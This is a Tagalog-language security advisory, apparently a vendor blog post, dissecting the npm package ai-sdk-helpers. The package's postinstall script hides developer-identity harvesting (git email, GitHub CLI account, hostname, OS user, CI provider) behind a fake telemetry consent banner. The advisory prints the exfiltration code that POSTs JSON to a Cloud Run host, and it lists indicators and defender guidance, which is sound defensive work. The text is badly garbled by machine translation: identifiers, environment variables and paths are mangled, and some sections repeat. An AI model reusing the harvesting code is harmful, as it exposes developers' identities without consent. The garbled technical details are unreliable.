ConsentMask Ang npm Package na Nagtatago ng Pagkuha ng Pagkakakilanlan ng Developer

ConsentMask: Isang npm Package na Nagsusuot ng Telemetry Consent Banner Higit sa Developer-Identity Harvesting

Tl; DR

Isang pakete ng npm, ai-sdk-helpers, ay nagpapakita ng sarili bilang isang production toolkit para sa Vercel AI SDK, na nag-aalok ng cost tracking, provider fallback, at mga streaming helper.

Ang script nito sa oras ng pag-install ay bubukas na may makintab na disclosure banner na naglalarawan mga hindi nagpapakilalang diagnostic, nangangakong walang source code, token, o kredensyal ang ipapadala, na nagbibigay-galang sa isang DO_NOT_TRACK pag-opt-out, at pag-link sa isang pahina ng patakaran sa telemetry.

Pagkatapos ay babasahin ng parehong script ang git identity ng developer, configuration ng GitHub CLI, hostname ng makina, username ng OS, working directory, at CI provider.

Ang datos na iyon ay ipo-post bilang JSON sa isang Google Cloud Run endpoint, na lumilikha ng malinaw na hindi pagkakatugma sa pagitan ng nakasaad na patakaran sa telemetry at ng mga aktwal na field na nakolekta.

Ang pakete ay inilathala sa dalawampu't dalawang bersyon sa loob ng isang 83-segundong burst, at ang install script ay magkapareho ng byte-for-byte sa bawat naka-flag na bersyon.

Pito sa walong bersyon na sinuri ng aming pipeline ay binigyan ng markang walang konklusyon ng ML classifier dahil ang consent-banner styling ay parang lehitimong telemetry.

Inuuri namin ai-sdk-helpers bilang malisyosong batay sa pangongolekta at pag-exfiltration ng pagkakakilanlan ng developer sa oras ng pag-install.

Kalubhaan: mataas.

 Anatomiya ng pag-install

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

postinstall awtomatikong tumatakbo sa install npm, bago pa man ma-import ang alinman sa mga inaanunsyong code ng pakete. Ang script mga script/postinstall.js ay kung saan nabubuhay ang lahat ng gawi sa oras ng pag-install.

Nagsisimula ito sa isang bloke ng komento at isang runtime notice na nakasulat sa rehistro ng isang open-source na proyektong may kamalayan sa privacy:

>Kapag nag-install ka ng ai-sdk-helpers, nagsasagawa kami ng mabilis na pagsusuri sa compatibility ng kapaligiran at nag-uulat ng mga anonymous na diagnostic… Ang data ay ganap na anonymous — kinokolekta namin ang iyong platform, bersyon ng Node, at isang one-way hash ng identifier ng iyong makina. Walang source code, token, o kredensyal ang ipinapadala kailanman.

Nag-wire pa nga ito ng gumaganang opt-out gate, ang unang executable code sa file:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

ang pagtali muna sa gate na ito ang siyang dahilan kung bakit ang iba ay mababasa bilang consensual: isang developer na nagtatakda `D_HINDI_SUBAYBAYAN Tahimik na kinukumpleto ang pag-install at tinatapos na nirerespeto ng package ang kumbensyon. Totoo ang honored opt-out. Ang itinatakda nito, para sa lahat ng hindi nagtakda nito, ay ang koleksyon na inilalarawan sa ibaba — hindi ang mas makitid na "platform, bersyon ng Node, at isang one-way hash" na ipinangalan sa notice.

Sa ilalim ng gate na iyon, ang script ay nagtitipon ng isang payload na lumalagpas sa paglalarawan na iyon.

  • *Gpagkakakilanlan.* rmalutasScmPagkakakilanlan()` mga ulo.gitconfig`,`~.config/git/config`,at ang kasalukuyang proyekto ay `.ito/pag-configure`,pina-parse ang `[ser]` eksyon, at ibinabalik ang na-configure commit email. Kung walang config file na magbubunga ng email, babalik ito sa `GT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,at `EAIL` mga baryabol ng kapaligiran. Isang docstring sa itaas ng function ang nagbabalangkas sa read bilang isang paraan "upang i-deduplicate ang mga pag-install sa mga makinang pagmamay-ari ng iisang tao (hal. laptop + CI)" — isang nakasaad na layunin na nangangailangan ng isang matatag na per-developer identifier, na isang commit mga suplay ng email.
  • *GtHub account.* rlutasin angGitHubIdentity()` mga ulo.config/gh/hosts.yml` at `~.config/gh/hosts.yaml` ang configuration file na isinulat ng GitHub CLI kapag ina-authenticate ng isang developer — at kinukuha ng regex ang `uer:` at `esakit mga patlang. Iniimbak din ng file na iyon ang GitHub OAuth token; partikular na tinatarget ng regex ng script ang username at mga linya ng email at hindi kinukuha ang token. Samakatuwid, ang pahayag na "walang mga token... ang naipadala" ng disclosure banner ay literal na totoo para sa isang field na iyon habang binabasa at ipinapadala ang mga nakapalibot na account identifier.
  • *Hst at CI fingerprint.* pagkatapos ay kinokolekta ng iskrip ang.pangalan ng host()`,`o.userInfo().pangalan ng gumagamit`,ang bersyon, plataporma at arkitektura ng Node, `pproseso.cwd()`,at isang label ng CI-provider na nilutas sa pamamagitan ng pagsuri sa mga environment variable para sa walong provider (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, at dalawang generic-CI flags). Ang listahan ng provider ay mababasa bilang isang imbentaryo kung saan inaasahang isasagawa ang script — mga interactive shell at automated build pipelinemagkapareho.

Ang lahat ng ito ay pinagsama-sama sa isang `dmga agnostiko bject, kasama ang mga field para sa bawat developer na nakolekta sa ilalim ng isang `ientidad ey at ang datos ng host sa ilalim ng `rntime at `cntext` eys, pagkatapos ay i-serialize at ipadala:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Itinatapon ang tugon at nilunok ang lahat ng error — isang komento ang nagsasabing “hindi dapat kailanman masira ng telemetry ang pag-install.” Ang endpoint hostname ay nagko-code ng isang serbisyo ng Google Cloud Run sa `elubid-kanluran1` rehiyon.

Ang puwang ay ang kwento. Binanggit ng banner ang tatlong kategorya ng data — platform, bersyon ng Node, machine-identifier hash. Ipinapadala ng payload ang totoong git ng isang developer commit email, ang kanilang username at email sa GitHub, ang kanilang hostname ng makina at pangalan ng OS account, ang kanilang project path, at ang kanilang CI environment. Ang mga field na tumutukoy sa isang *prson at ang kanilang mga account* eksakto sa mga field na tinanggal sa pagsisiwalat.

Pinatitibay ng README ang pagkakabalangkas mula sa kabilang panig. Inuulit ng seksyong "Telemetry" nito ang pahayag tungkol sa pagiging hindi nagpapakilala at iniuugnay ang salitang `D_HINDI_SUBAYBAYAN o `cnsoledonottrack.com`,ang tunay na pahina ng komunidad na nagdodokumento sa kombensiyon ng pag-opt-out — paghiram ng kinikilalang privacy standard upang gawing nakagawian ang pagbasa ng paunawa.

timeline

Ito ay isang tuklas na iisang pakete lamang na may napakaikli at napakasiksik na kasaysayan ng publikasyon. Walang arc ng kampanya na tumatagal ng ilang linggo na masusubaybayan — ang buong saklaw ng bersyon ay pinabilis ng makina.

Kailan (UTC) pangyayari
2026-06-03 20:31:20 Unang bersyon (0.1.0) nailathala sa npm.
2026-06-03 20:31:20 – 20:32:43 Lahat ng 22 bersyon (0.1.0 sa pamamagitan ng 1.4.2) inilathala sa isang 83-segundong awtomatikong pagsabog.
2026-06-04 Walong bersyon ang minarkahan ng mga signal ng pagtuklas; kinumpirma ng manu-manong pagsusuri ang pangongolekta ng pagkakakilanlan at exfiltration sa oras ng pag-install. Nanatiling live ang package sa npm sa oras ng pagsusuri.

Ang 83-segundong palugit sa 22 semantikong bersyon ay isa ring tagapagpahiwatig ng pag-uugali: ang hagdan ng bersyon (`01.0`,`01.1`,… `14.2`)Ipinapakita ng ibabaw ng isang aktibong pinapanatiling proyekto ang isang kasaysayan ng paglabas, na ginawa sa isang scripted run. Hindi nagbabago ang install script sa buong hagdan na iyon — tingnan sa ibaba.

Mga tagapagpahiwatig ng kompromiso

Ang payload sa oras ng pag-install ay magkapareho sa buong saklaw ng nailathalang bersyon. A `dff` mga f`sripts/postinstall.js` sa pagitan ng bersyon `02.1` at bersyon `14.2` walang ibinabalik na pagkakaiba; ang kilos ay isang nakapirming fingerprint, hindi isang umuusbong na payload.

network

Ang 83-segundong palugit sa 22 semantikong bersyon ay isa ring tagapagpahiwatig ng pag-uugali: ang hagdan ng bersyon (`01.0`,`01.1`,… `14.2`)Ipinapakita ng ibabaw ng isang aktibong pinapanatiling proyekto ang isang kasaysayan ng paglabas, na ginawa sa isang scripted run. Hindi nagbabago ang install script sa buong hagdan na iyon — tingnan sa ibaba.

Mga tagapagpahiwatig ng kompromiso

Ang payload sa oras ng pag-install ay magkapareho sa buong saklaw ng nailathalang bersyon. A `dff` mga f`sripts/postinstall.js` sa pagitan ng bersyon `02.1` at bersyon `14.2` walang ibinabalik na pagkakaiba; ang kilos ay isang nakapirming fingerprint, hindi isang umuusbong na payload.

network

Nagtuturo Papel
npm-package-logger-228835561205.europe-west1.run.app Ang endpoint ng exfiltration ay tumatanggap ng mga kahilingan sa HTTPS POST gamit ang mga payload ng JSON. Naka-host sa Google Cloud Run sa europe-west1 rehiyon.

Imprastraktura ng decoy

Nagtuturo Papel
ai-sdk.guide Homepage ng pakete at live site na sumusuporta sa pagkakakilanlan ng may-akda na "AI SDK Guide".
ai-sdk.guide/telemetry Ang URL ng patakaran sa telemetrya ay tinukoy sa abiso ng pagsisiwalat sa oras ng pag-install.
hello@ai-sdk.guide Idineklara ang email ng awtor sa package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Pinagmulan ng imbakan na idineklara ng pakete.

Mga file na nababasa sa oras ng pag-install

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` koreo
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uer` `esakit

Mga lagda sa pag-uugali

  • – m `pstinstall` ook paggamit ng isang naka-bundle na Node script
  • – gate ng pag-opt out (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_HINDI_SUBAYBAYAN`)ipinakita bilang isang tampok sa privacy, bago ang pagkolekta ng pagkakakilanlan
  • – tbound HTTPS POST ng isang JSON object na naglalaman ng git email, GitHub identity, hostname, OS username, cwd, at CI label
  • – iisang script ng pag-install sa isang mabilis na nailathalang bersyon

 Pagpapatungkol at Naobserbahang Pag-uugali
Wala kaming iniuugnay na higit pa sa naitala ng metadata ng package at registry.

Ang npm maintainer of record ay ang account na `aielsimon`,na may adres na `aiel@vigilance.security`.Inililista ng registry ang email na iyon bilang hindi na-verify at ang pagkakakilanlan ng source-control ng account bilang hindi na-verify.ckage.json`,hiwalay, inilalahad ang may-akda bilang “Gabay sa AI SDK`ello@ai-sdk.guide>`”na may homepage ng `a-sdk.guide` at isang imbakan ng pinagmulan sa ilalim ng isang `gorganisasyon ng thub.com/ai-sdk-guide`. Ang email domain ng publishing account (`vigilance.security`)at ang pagkakakilanlan ng awtor na nasa loob ng pakete (`a-sdk.guide`)ay magkaibang mga domain.

Ang `a-sdk.guide` live ang ite at tumutugon, at ang `/elemetriya Nalutas ni ath — ang decoy identity ay sinusuportahan ng isang maaabot na presensya sa web sa halip na isang patay na link, na nagpapataas ng kredibilidad ng framing ng package.

**Naobserbahang kakayahan.** Sa oras ng pag-install, binabasa ng package ang mga file ng pagkakakilanlan ng developer at configuration ng account, tinitingnan ang mga fingerprint ng host at CI environment, at ipinapadala ang resulta sa isang endpoint na kontrolado ng operator, habang ipinapakita ang isang abiso na naglalarawan ng isang mas makitid at hindi nagpapakilalang data set. Inilalarawan namin ang pag-uugaling ito; hindi kami nagpapahayag ng motibo para dito. Ang mga mambabasang sumusuri sa package — kabilang ang sinumang partido na kumikilala sa pagkakakilanlan ng paglalathala — ay dapat timbangin ang naobserbahang hindi pagkakatugma sa pagitan ng nakasaad at aktwal na daloy ng data.

Epekto, mga uso, at gabay para sa mga tagapagtanggol

Sino ang nalantad. Sinumang mag-install ai-sdk-helpers — direkta o bilang isang transitive dependency — ang nagpapatakbo ng koleksyon sa makinang iyon. Dahil ang trigger ay postinstall, ang inaanunsyong library code ay hindi na kailangang i-import para maganap ang daloy ng data; sapat na ang pag-install lamang. Ang mga kapaligirang may pinakamataas na halaga ay ang mga workstation ng developer na may na-configure na git identity at isang authenticated na GitHub CLI, at mga CI runner, kung saan ang CI-provider detection ng script ay nagpapahiwatig na ang koleksyon ay inaasahang tatakbo sa loob ng build. pipelinepati na rin sa mga laptop.

Ang inilalantad nito. Hindi mga sikreto ng aplikasyon sa pangkalahatang kaso — ang payload ay nakasentro sa pagkakakilanlan: ng developer commit email, ang pangalan at email ng kanilang GitHub account, ang mga pangalan ng makina at account, at ang path ng proyekto. Iyon ay isang paunangcisisang mapa kung sino ang nag-install ng package, sa anong makina, sa anong repository, at sa ilalim ng aling CI system. Para sa isang organisasyon, ang ilang mga naturang rekord na pinagsama-sama ay maglilista kung aling mga inhinyero at aling mga bumuo ng mga sistema ang humila ng dependency — kapaki-pakinabang bilang isang pasimula sa mas naka-target na follow-on na aktibidad, kahit na ang sariling pag-uugali ng package na ito ay natatapos sa pagkolekta at pagpapadala.

Ang kalakaran: telemetrya bilang takip. Nangongolekta ang mga lehitimong tool ng developer ng mga hindi nagpapakilalang diagnostic ng pag-install, at ang mga kumbensyon para sa paggawa nito nang may paggalang — isang abiso ng pagsisiwalat, isang HUWAG_SUBAYBAYAN Ang honor, isang opt-out flag, isang policy URL — ay kilalang-kilala. ai-sdk-helpers buong katapatan na kinokopya ang lahat ng apat na kumbensyong iyon at ginagamit ang mga ito bilang pambalot para sa pangongolekta ng pagkakakilanlan. Ang pagkakaroon ng isang consent banner, isang gumaganang opt-out, o isang link sa patakaran sa privacy ay hindi ebidensya na mapagkakatiwalaan ang isang package; ang mga kontrol na iyon ay hindi magastos gayahin. Ang tanging maaasahang pagsusuri ay kung ano talaga ang binabasa ng code at kung saan talaga ito ipinapadala.

Ang packaging na ito ay mayroon ding masusukat na epekto sa automated triage. Sa iba't ibang bersyon, ang aming pipeline Sinuri, ang mga simpleng komento sa install script, mga nakabalangkas na pangalan ng field, at ang kumbensyonal na opt-out gate ay binigyan ng marka bilang ordinaryong telemetry: pito sa walo ang bumalik walang tibay mula sa ML classifier sa halip na malisyoso. Ang senyales na lumulutas sa kalabuan ay wala sa prosa — ito ay nasa mga partikular na file na binubuksan ng script (~ / .gitconfig, ~/.config/gh/hosts.yml) at ang destinasyong ipapadala nito. Ang isang tagasuri, awtomatiko man o tao, na magbabasa ng pagsisiwalat at huminto doon ay makakarating sa maling konklusyon; ang pagpapasiya ay kailangang magmula sa mga katotohanan sa daloy ng datos.

Patnubay para sa mga tagapagtanggol:

  • I-install nang hindi pinagana ang mga script bilang default — npm install –ignore-scripts, o itakda balewalain-scripts=true in .npmrc at tahasang patakbuhin ang mga nasuring hakbang sa pagbuo. Nine-neutralize nito ang postinstall-nagdulot ng koleksyon sa lahat ng dako.
  • Huwag ituring ang mga kontrol sa pag-opt-out bilang mga senyales ng tiwala. HUWAG_SUBAYBAYAN Ang check o isang link na "patakaran sa telemetrya" ay walang sinasabi sa iyo tungkol sa data na kinokolekta ng isang script kapag hindi nakatakda ang gate.
  • Basahin ang install hook bago gamitin ang mga AI-ecosystem helper package. Ang Vercel AI SDK space ay isang mabilis na gumagalaw at mataas ang pinagkakatiwalaang target; isang postinstall na touch ~ / .gitconfig or ~/.config/gh/ ay isang malinaw na senyales kahit paano pa man isinulat ang mga nakapalibot na komento.
  • Subaybayan ang paglabas sa oras ng pagbuo. Isang palabas na HTTPS POST habang install npm, lalo na sa isang bagong provision na cloud-function endpoint, ay makikita sa network layer at isang malakas na detection point para sa mga CI environment.
  • Abangan ang mga naka-compress na bersyon. Ang isang pakete na ang buong semantic-version history ay lilitaw sa loob ng ilang segundo, na may hindi nagbabagong install script, ay nagpapakita ng manufactured maintenance history.
mga tool sa pagsusuri ng komposisyon ng software ng mga tool sa sca
Unahin, ayusin, at i-secure ang mga panganib ng iyong software
Kunin ang Iyong Libreng Account.
Walang kinakailangang credit card.

I-secure ang Iyong Pag-develop at Paghahatid ng Software

kasama ang Xygeni Product Suite